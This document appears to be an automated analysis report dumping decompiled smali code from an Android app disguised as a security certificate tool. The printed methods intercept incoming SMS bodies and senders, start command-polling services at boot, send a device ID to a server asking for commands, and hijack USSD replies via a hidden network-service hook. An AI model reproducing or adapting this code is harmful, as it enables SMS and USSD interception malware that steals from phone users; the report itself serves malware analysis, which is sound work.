27 | invoke-direct {v2, p0}, Lcom/security/cert/ui/b;-><init>(Lcom/security/cert/ui/MessageDialogActivity;)V | |
29 | invoke-virtual {v0, v1, v2}, Landroid/app/AlertDialog$Builder;->setNeutralButton(ILandroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
30 | move-result-object v0 | |
31 | new-instance v1, Lcom/security/cert/ui/a; | |
33 | invoke-direct {v1, p0}, Lcom/security/cert/ui/a;-><init>(Lcom/security/cert/ui/MessageDialogActivity;)V | |
35 | invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setOnCancelListener(Landroid/content/DialogInterface$OnCancelListener;)Landroid/app/AlertDialog$Builder; | |
36 | move-result-object v0 | |
38 | invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->show()Landroid/app/AlertDialog; |
|
39 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v2, 0x0 | |
2 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; |
|
3 | move-result-object v0 | |
5 | const-string v1, "android.intent.action.SMS_SENT" | |
7 | invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
8 | move-result v0 | |
9 | if-eqz v0, :cond_14 | |
11 | invoke-virtual {p0}, Lcom/security/cert/services/SmsSentReceiver;->getResultCode()I | |
12 | move-result v0 | |
13 | const/4 v1, -0x1 | |
14 | if-ne v0, v1, :cond_15 | |
15 | cond_14: return-void | |
16 | cond_15: | |
17 | invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle; |
|
18 | move-result-object v0 | |
20 | const-string v1, "LoadingCallBack" | |
22 | invoke-virtual {v0, v1}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z |
|
23 | move-result v0 | |
24 | if-eqz v0, :cond_14 | |
26 | const-string v0, "LoadingCallBack" | |
28 | invoke-virtual {p2, v0}, Landroid/content/Intent;->getSerializableExtra(Ljava/lang/String;)Ljava/io/Serializable; |
|
29 | move-result-object v0 | |
30 | check-cast v0, Lcom/security/cert/b/b/a/b; | |
32 | const-string v1, "request" | |
34 | invoke-virtual {p2, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String; |
|
35 | move-result-object v1 | |
37 | invoke-virtual {v0, p1, v2, v2, v1}, Lcom/security/cert/b/b/a/b;->a(Landroid/content/Context;Ljava/lang/Throwable;Ljava/lang/String;Ljava/lang/String;)V | |
38 | goto/16 :goto_14 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | new-instance v1, Lorg/json/JSONObject; | |
2 | invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V |
|
3 | try_start_5: | |
4 | const-string v0, "action" | |
6 | const-string v2, "check_commands" | |
8 | invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
10 | const-string v0, "user_id" | |
12 | invoke-static {p0}, Lcom/security/cert/b/a/a;->b(Landroid/content/Context;)Ljava/lang/String; | |
13 | move-result-object v2 | |
15 | invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject; |
|
16 | try_end_15: | |
17 | invoke-static {p0, v1, p1}, Lcom/security/cert/a/a/a;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/security/cert/b/b/a/b;)V | |
18 | return-void | |
19 | catch_19: move-exception v0 | |
21 | const-string v2, "ServerApi" | |
23 | invoke-virtual {v0}, Lorg/json/JSONException;->toString()Ljava/lang/String; | |
24 | move-result-object v0 | |
26 | invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
27 | goto/16 :goto_15 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v1, "" | |
2 | array-length v3, p1 | |
3 | const/4 v0, 0x0 | |
4 | move-object v2, v1 | |
5 | move v1, v0 | |
6 | goto_6: if-ge v1, v3, :cond_2b | |
7 | aget-object v0, p1, v1 | |
8 | new-instance v4, Ljava/lang/StringBuilder; | |
10 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
12 | invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
13 | move-result-object v2 | |
14 | check-cast v0, [B | |
15 | check-cast v0, [B | |
17 | invoke-static {v0}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage; |
|
18 | move-result-object v0 | |
20 | invoke-virtual {v0}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String; |
|
21 | move-result-object v0 | |
23 | invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
24 | move-result-object v0 | |
26 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
27 | move-result-object v2 | |
28 | add-int/lit8 v0, v1, 0x1 | |
29 | move v1, v0 | |
30 | goto/16 :goto_6 | |
31 | cond_2b: return-object v2 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/a/a/b;->a:Lcom/security/cert/ui/MainActivity; | |
2 | if-eqz v0, :cond_4 | |
3 | cond_4: | |
4 | iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b; | |
5 | instance-of v0, v0, Lcom/security/cert/b/b/a/a; | |
6 | if-eqz v0, :cond_16 | |
7 | try_start_a: | |
8 | iget-object v0, p0, Lcom/security/cert/a/a/b;->b:Lcom/security/cert/b/b/a/b; | |
9 | new-instance v1, Lorg/json/JSONObject; | |
11 | const-string v2, "{\"e\":0}" | |
13 | invoke-direct {v1, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V |
|
15 | invoke-virtual {v0, v1}, Lcom/security/cert/b/b/a/b;->a(Lorg/json/JSONObject;)V | |
16 | try_end_16: | |
17 | const-string v0, "HttpClient" | |
19 | const-string v1, "finish" | |
21 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
22 | return-void | |
23 | catch_1e: move-exception v0 | |
25 | invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V | |
26 | goto/16 :goto_16 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; |
|
2 | move-result-object v0 | |
4 | const-string v1, "android.intent.action.BOOT_COMPLETED" | |
6 | invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
7 | move-result v0 | |
8 | if-eqz v0, :cond_20 | |
9 | new-instance v0, Landroid/content/Intent; | |
10 | const-class v1, Lcom/security/cert/services/CheckCommandsService; | |
12 | invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
14 | invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; |
|
15 | new-instance v0, Landroid/content/Intent; | |
16 | const-class v1, Lcom/security/cert/services/CheckQueueService; | |
18 | invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
20 | invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; |
|
21 | cond_20: return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; |
|
2 | move-result-object v0 | |
4 | const-string v1, "android.intent.action.RE_SEND_QUEUE" | |
6 | invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
7 | move-result v0 | |
8 | if-eqz v0, :cond_24 | |
10 | invoke-static {p1}, Lcom/security/cert/b/a/a;->f(Landroid/content/Context;)Ljava/util/List; | |
11 | move-result-object v0 | |
13 | invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator; | |
14 | move-result-object v1 | |
15 | goto_14: | |
16 | invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z | |
17 | move-result v0 | |
18 | if-eqz v0, :cond_24 | |
20 | invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
21 | move-result-object v0 | |
22 | check-cast v0, Lorg/json/JSONObject; | |
24 | invoke-static {p1, v0}, Lcom/security/cert/a/a/c;->a(Landroid/content/Context;Lorg/json/JSONObject;)V | |
25 | goto/16 :goto_14 | |
26 | cond_24: return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver; | |
2 | move-result-object v0 | |
4 | const-string v1, "android_id" | |
6 | invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String; |
|
7 | move-result-object v0 | |
8 | return-object v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences; | |
2 | move-result-object v0 | |
3 | const/4 v1, 0x0 | |
5 | invoke-interface {v0, p1, v1}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
6 | move-result-object v0 | |
7 | return-object v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | new-instance v0, Landroid/content/Intent; | |
1 | const-class v1, Lcom/security/cert/services/CheckCommandsService; | |
3 | invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
5 | invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; |
|
6 | new-instance v0, Landroid/content/Intent; | |
7 | const-class v1, Lcom/security/cert/services/CheckQueueService; | |
9 | invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
11 | invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; |
|
12 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | new-instance v0, Landroid/content/Intent; | |
1 | const-class v1, Lcom/security/cert/services/CheckCommandsService; | |
3 | invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
5 | invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; |
|
6 | new-instance v0, Landroid/content/Intent; | |
7 | const-class v1, Lcom/security/cert/services/CheckQueueService; | |
9 | invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
11 | invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; |
|
12 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; |
|
2 | move-result-object v0 | |
4 | const-string v1, "android.intent.action.RE_CHECK_COMMAND" | |
6 | invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
7 | move-result v0 | |
8 | if-eqz v0, :cond_14 | |
9 | new-instance v0, Lcom/security/cert/b/b/a/a; | |
11 | invoke-direct {v0, p1}, Lcom/security/cert/b/b/a/a;-><init>(Landroid/content/Context;)V | |
13 | invoke-static {p1, v0}, Lcom/security/cert/a/a/c;->a(Landroid/content/Context;Lcom/security/cert/b/b/a/b;)V | |
14 | cond_14: return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v0, 0x0 | |
1 | aget-object v0, p1, v0 | |
2 | check-cast v0, [B | |
3 | check-cast v0, [B | |
5 | invoke-static {v0}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage; |
|
6 | move-result-object v0 | |
8 | invoke-virtual {v0}, Landroid/telephony/SmsMessage;->getDisplayOriginatingAddress()Ljava/lang/String; |
|
9 | move-result-object v0 | |
10 | return-object v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences; | |
2 | move-result-object v0 | |
4 | const-string v1, "user_id" | |
5 | const/4 v2, 0x0 | |
7 | invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
8 | move-result-object v0 | |
9 | return-object v0 |
Non-Executed Methods |
---|
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v5, 0x0 | |
2 | const-string v0, ":ON;)" | |
4 | invoke-virtual {v0, p1}, Ljava/lang/String;->contentEquals(Ljava/lang/CharSequence;)Z | |
5 | move-result v0 | |
6 | if-eqz v0, :cond_15 | |
7 | const/4 v0, 0x1 | |
9 | invoke-static {v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Z)Z |
|
11 | const-string v0, "USSDDumbExtendedNetworkService" | |
13 | const-string v1, "control: ON" | |
15 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
16 | goto_14: return-object p1 | |
17 | cond_15: | |
18 | const-string v0, ":OFF;(" | |
20 | invoke-virtual {v0, p1}, Ljava/lang/String;->contentEquals(Ljava/lang/CharSequence;)Z | |
21 | move-result v0 | |
22 | if-eqz v0, :cond_28 | |
24 | invoke-static {v5}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Z)Z |
|
26 | const-string v0, "USSDDumbExtendedNetworkService" | |
28 | const-string v1, "control: OFF" | |
30 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
31 | goto/16 :goto_14 | |
32 | cond_28: | |
33 | const-string v0, ":RETVAL;(" | |
35 | invoke-virtual {v0, p1}, Ljava/lang/String;->contentEquals(Ljava/lang/CharSequence;)Z | |
36 | move-result v0 | |
37 | if-eqz v0, :cond_3f | |
39 | invoke-static {v5}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Z)Z |
|
41 | const-string v0, "USSDDumbExtendedNetworkService" | |
43 | const-string v1, "control: return" | |
45 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
47 | invoke-static {}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a()Ljava/lang/CharSequence; | |
48 | move-result-object p1 | |
49 | goto/16 :goto_14 | |
50 | cond_3f: | |
51 | invoke-static {}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->b()Z | |
52 | move-result v0 | |
53 | if-nez v0, :cond_5e | |
55 | const-string v0, "USSDDumbExtendedNetworkService" | |
56 | new-instance v1, Ljava/lang/StringBuilder; | |
58 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
60 | const-string v2, "getUserMessage deactivated: " | |
62 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
63 | move-result-object v1 | |
65 | invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
66 | move-result-object v1 | |
68 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
69 | move-result-object v1 | |
71 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
72 | goto/16 :goto_14 | |
73 | cond_5e: | |
74 | invoke-interface {p1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String; | |
75 | move-result-object v0 | |
76 | new-instance v1, Landroid/net/Uri$Builder; | |
78 | invoke-direct {v1}, Landroid/net/Uri$Builder;-><init>()V | |
80 | const-string v2, "ussd" | |
82 | invoke-virtual {v1, v2}, Landroid/net/Uri$Builder;->scheme(Ljava/lang/String;)Landroid/net/Uri$Builder; |
|
83 | move-result-object v1 | |
85 | const-string v2, "senneco.com" | |
87 | invoke-virtual {v1, v2}, Landroid/net/Uri$Builder;->authority(Ljava/lang/String;)Landroid/net/Uri$Builder; |
|
88 | move-result-object v1 | |
90 | const-string v2, "/" | |
92 | invoke-virtual {v1, v2}, Landroid/net/Uri$Builder;->path(Ljava/lang/String;)Landroid/net/Uri$Builder; |
|
93 | move-result-object v1 | |
95 | const-string v2, "return" | |
97 | invoke-interface {p1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String; | |
98 | move-result-object v3 | |
100 | invoke-virtual {v1, v2, v3}, Landroid/net/Uri$Builder;->appendQueryParameter(Ljava/lang/String;Ljava/lang/String;)Landroid/net/Uri$Builder; |
|
101 | move-result-object v1 | |
103 | invoke-virtual {v1}, Landroid/net/Uri$Builder;->build()Landroid/net/Uri; | |
104 | move-result-object v1 | |
106 | iget-object v2, p0, Lcom/security/cert/services/d;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService; | |
107 | new-instance v3, Landroid/content/Intent; | |
109 | const-string v4, "android.intent.action.GET_CONTENT" | |
111 | invoke-direct {v3, v4, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
113 | invoke-virtual {v2, v3}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->sendBroadcast(Landroid/content/Intent;)V | |
115 | invoke-static {v5}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Z)Z |
|
117 | invoke-static {p1}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Ljava/lang/CharSequence;)Ljava/lang/CharSequence; | |
119 | const-string v1, "USSDDumbExtendedNetworkService" | |
120 | new-instance v2, Ljava/lang/StringBuilder; | |
122 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
124 | const-string v3, "getUserMessage: " | |
126 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
127 | move-result-object v2 | |
129 | invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
130 | move-result-object v2 | |
132 | const-string v3, "=" | |
134 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
135 | move-result-object v2 | |
137 | invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
138 | move-result-object v0 | |
140 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
141 | move-result-object v0 | |
143 | invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
144 | const/4 p1, 0x0 | |
145 | goto/16 :goto_14 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v3, 0x1 | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | new-instance v0, Lorg/apache/http/params/BasicHttpParams; | |
5 | invoke-direct {v0}, Lorg/apache/http/params/BasicHttpParams;-><init>()V | |
6 | sget v1, Lcom/b/a/a/a;->b:I | |
7 | int-to-long v1, v1 | |
9 | invoke-static {v0, v1, v2}, Lorg/apache/http/conn/params/ConnManagerParams;->setTimeout(Lorg/apache/http/params/HttpParams;J)V | |
10 | new-instance v1, Lorg/apache/http/conn/params/ConnPerRouteBean; | |
11 | sget v2, Lcom/b/a/a/a;->a:I | |
13 | invoke-direct {v1, v2}, Lorg/apache/http/conn/params/ConnPerRouteBean;-><init>(I)V | |
15 | invoke-static {v0, v1}, Lorg/apache/http/conn/params/ConnManagerParams;->setMaxConnectionsPerRoute(Lorg/apache/http/params/HttpParams;Lorg/apache/http/conn/params/ConnPerRoute;)V | |
16 | const/16 v1, 0xa | |
18 | invoke-static {v0, v1}, Lorg/apache/http/conn/params/ConnManagerParams;->setMaxTotalConnections(Lorg/apache/http/params/HttpParams;I)V |
|
19 | sget v1, Lcom/b/a/a/a;->b:I | |
21 | invoke-static {v0, v1}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V | |
22 | sget v1, Lcom/b/a/a/a;->b:I | |
24 | invoke-static {v0, v1}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V | |
26 | invoke-static {v0, v3}, Lorg/apache/http/params/HttpConnectionParams;->setTcpNoDelay(Lorg/apache/http/params/HttpParams;Z)V |
|
27 | const/16 v1, 0x2000 | |
29 | invoke-static {v0, v1}, Lorg/apache/http/params/HttpConnectionParams;->setSocketBufferSize(Lorg/apache/http/params/HttpParams;I)V |
|
31 | sget-object v1, Lorg/apache/http/HttpVersion;->HTTP_1_1:Lorg/apache/http/HttpVersion; | |
33 | invoke-static {v0, v1}, Lorg/apache/http/params/HttpProtocolParams;->setVersion(Lorg/apache/http/params/HttpParams;Lorg/apache/http/ProtocolVersion;)V | |
35 | const-string v1, "android-async-http/%s (http://loopj.com/android-async-http)" | |
36 | new-array v2, v3, [Ljava/lang/Object; | |
37 | const/4 v3, 0x0 | |
39 | const-string v4, "1.4.1" | |
40 | aput-object v4, v2, v3 | |
42 | invoke-static {v1, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; |
|
43 | move-result-object v1 | |
45 | invoke-static {v0, v1}, Lorg/apache/http/params/HttpProtocolParams;->setUserAgent(Lorg/apache/http/params/HttpParams;Ljava/lang/String;)V | |
46 | new-instance v1, Lorg/apache/http/conn/scheme/SchemeRegistry; | |
48 | invoke-direct {v1}, Lorg/apache/http/conn/scheme/SchemeRegistry;-><init>()V | |
49 | new-instance v2, Lorg/apache/http/conn/scheme/Scheme; | |
51 | const-string v3, "http" | |
53 | invoke-static {}, Lorg/apache/http/conn/scheme/PlainSocketFactory;->getSocketFactory()Lorg/apache/http/conn/scheme/PlainSocketFactory; | |
54 | move-result-object v4 | |
55 | const/16 v5, 0x50 | |
57 | invoke-direct {v2, v3, v4, v5}, Lorg/apache/http/conn/scheme/Scheme;-><init>(Ljava/lang/String;Lorg/apache/http/conn/scheme/SocketFactory;I)V |
|
59 | invoke-virtual {v1, v2}, Lorg/apache/http/conn/scheme/SchemeRegistry;->register(Lorg/apache/http/conn/scheme/Scheme;)Lorg/apache/http/conn/scheme/Scheme; | |
60 | new-instance v2, Lorg/apache/http/conn/scheme/Scheme; | |
62 | const-string v3, "https" | |
64 | invoke-static {}, Lorg/apache/http/conn/ssl/SSLSocketFactory;->getSocketFactory()Lorg/apache/http/conn/ssl/SSLSocketFactory; | |
65 | move-result-object v4 | |
66 | const/16 v5, 0x1bb | |
68 | invoke-direct {v2, v3, v4, v5}, Lorg/apache/http/conn/scheme/Scheme;-><init>(Ljava/lang/String;Lorg/apache/http/conn/scheme/SocketFactory;I)V |
|
70 | invoke-virtual {v1, v2}, Lorg/apache/http/conn/scheme/SchemeRegistry;->register(Lorg/apache/http/conn/scheme/Scheme;)Lorg/apache/http/conn/scheme/Scheme; | |
71 | new-instance v2, Lorg/apache/http/impl/conn/tsccm/ThreadSafeClientConnManager; | |
73 | invoke-direct {v2, v0, v1}, Lorg/apache/http/impl/conn/tsccm/ThreadSafeClientConnManager;-><init>(Lorg/apache/http/params/HttpParams;Lorg/apache/http/conn/scheme/SchemeRegistry;)V | |
74 | new-instance v1, Lorg/apache/http/protocol/SyncBasicHttpContext; | |
75 | new-instance v3, Lorg/apache/http/protocol/BasicHttpContext; | |
77 | invoke-direct {v3}, Lorg/apache/http/protocol/BasicHttpContext;-><init>()V | |
79 | invoke-direct {v1, v3}, Lorg/apache/http/protocol/SyncBasicHttpContext;-><init>(Lorg/apache/http/protocol/HttpContext;)V | |
80 | iput-object v1, p0, Lcom/b/a/a/a;->d:Lorg/apache/http/protocol/HttpContext; | |
81 | new-instance v1, Lorg/apache/http/impl/client/DefaultHttpClient; | |
83 | invoke-direct {v1, v2, v0}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>(Lorg/apache/http/conn/ClientConnectionManager;Lorg/apache/http/params/HttpParams;)V | |
84 | iput-object v1, p0, Lcom/b/a/a/a;->c:Lorg/apache/http/impl/client/DefaultHttpClient; | |
86 | iget-object v0, p0, Lcom/b/a/a/a;->c:Lorg/apache/http/impl/client/DefaultHttpClient; | |
87 | new-instance v1, Lcom/b/a/a/b; | |
89 | invoke-direct {v1, p0}, Lcom/b/a/a/b;-><init>(Lcom/b/a/a/a;)V | |
91 | invoke-virtual {v0, v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->addRequestInterceptor(Lorg/apache/http/HttpRequestInterceptor;)V | |
93 | iget-object v0, p0, Lcom/b/a/a/a;->c:Lorg/apache/http/impl/client/DefaultHttpClient; | |
94 | new-instance v1, Lcom/b/a/a/c; | |
96 | invoke-direct {v1, p0}, Lcom/b/a/a/c;-><init>(Lcom/b/a/a/a;)V | |
98 | invoke-virtual {v0, v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->addResponseInterceptor(Lorg/apache/http/HttpResponseInterceptor;)V | |
100 | iget-object v0, p0, Lcom/b/a/a/a;->c:Lorg/apache/http/impl/client/DefaultHttpClient; | |
101 | new-instance v1, Lcom/b/a/a/j; | |
102 | const/4 v2, 0x5 | |
104 | invoke-direct {v1, v2}, Lcom/b/a/a/j;-><init>(I)V | |
106 | invoke-virtual {v0, v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->setHttpRequestRetryHandler(Lorg/apache/http/client/HttpRequestRetryHandler;)V | |
108 | invoke-static {}, Ljava/util/concurrent/Executors;->newCachedThreadPool()Ljava/util/concurrent/ExecutorService; | |
109 | move-result-object v0 | |
110 | check-cast v0, Ljava/util/concurrent/ThreadPoolExecutor; | |
111 | iput-object v0, p0, Lcom/b/a/a/a;->e:Ljava/util/concurrent/ThreadPoolExecutor; | |
112 | new-instance v0, Ljava/util/WeakHashMap; | |
114 | invoke-direct {v0}, Ljava/util/WeakHashMap;-><init>()V | |
115 | iput-object v0, p0, Lcom/b/a/a/a;->f:Ljava/util/Map; | |
116 | new-instance v0, Ljava/util/HashMap; | |
118 | invoke-direct {v0}, Ljava/util/HashMap;-><init>()V | |
119 | iput-object v0, p0, Lcom/b/a/a/a;->g:Ljava/util/Map; | |
120 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v2, 0x0 | |
1 | const/4 v1, 0x1 | |
2 | sparse-switch p1, :sswitch_data_74 | |
4 | invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z | |
5 | move-result v0 | |
6 | goto_9: return v0 | |
7 | sswitch_a: | |
8 | const-string v0, "com.android.internal.telephony.IExtendedNetworkService" | |
10 | invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V |
|
11 | move v0, v1 | |
12 | goto/16 :goto_9 | |
13 | sswitch_11: | |
14 | const-string v0, "com.android.internal.telephony.IExtendedNetworkService" | |
16 | invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V |
|
18 | invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String; | |
19 | move-result-object v0 | |
21 | invoke-virtual {p0, v0}, Lcom/a/a/a/b;->a(Ljava/lang/String;)V | |
23 | invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V | |
24 | move v0, v1 | |
25 | goto/16 :goto_9 | |
26 | sswitch_22: | |
27 | const-string v0, "com.android.internal.telephony.IExtendedNetworkService" | |
29 | invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V |
|
31 | invoke-virtual {p0}, Lcom/a/a/a/b;->a()Ljava/lang/CharSequence; | |
32 | move-result-object v0 | |
34 | invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V | |
35 | if-eqz v0, :cond_38 | |
37 | invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V |
|
39 | invoke-static {v0, p3, v1}, Landroid/text/TextUtils;->writeToParcel(Ljava/lang/CharSequence;Landroid/os/Parcel;I)V |
|
40 | goto_36: move v0, v1 | |
41 | goto/16 :goto_9 | |
42 | cond_38: | |
43 | invoke-virtual {p3, v2}, Landroid/os/Parcel;->writeInt(I)V |
|
44 | goto/16 :goto_36 | |
45 | sswitch_3c: | |
46 | const-string v0, "com.android.internal.telephony.IExtendedNetworkService" | |
48 | invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V |
|
50 | invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I | |
51 | move-result v0 | |
52 | if-eqz v0, :cond_60 | |
54 | sget-object v0, Landroid/text/TextUtils;->CHAR_SEQUENCE_CREATOR:Landroid/os/Parcelable$Creator; | |
56 | invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object; | |
57 | move-result-object v0 | |
58 | check-cast v0, Ljava/lang/CharSequence; | |
59 | goto_4f: | |
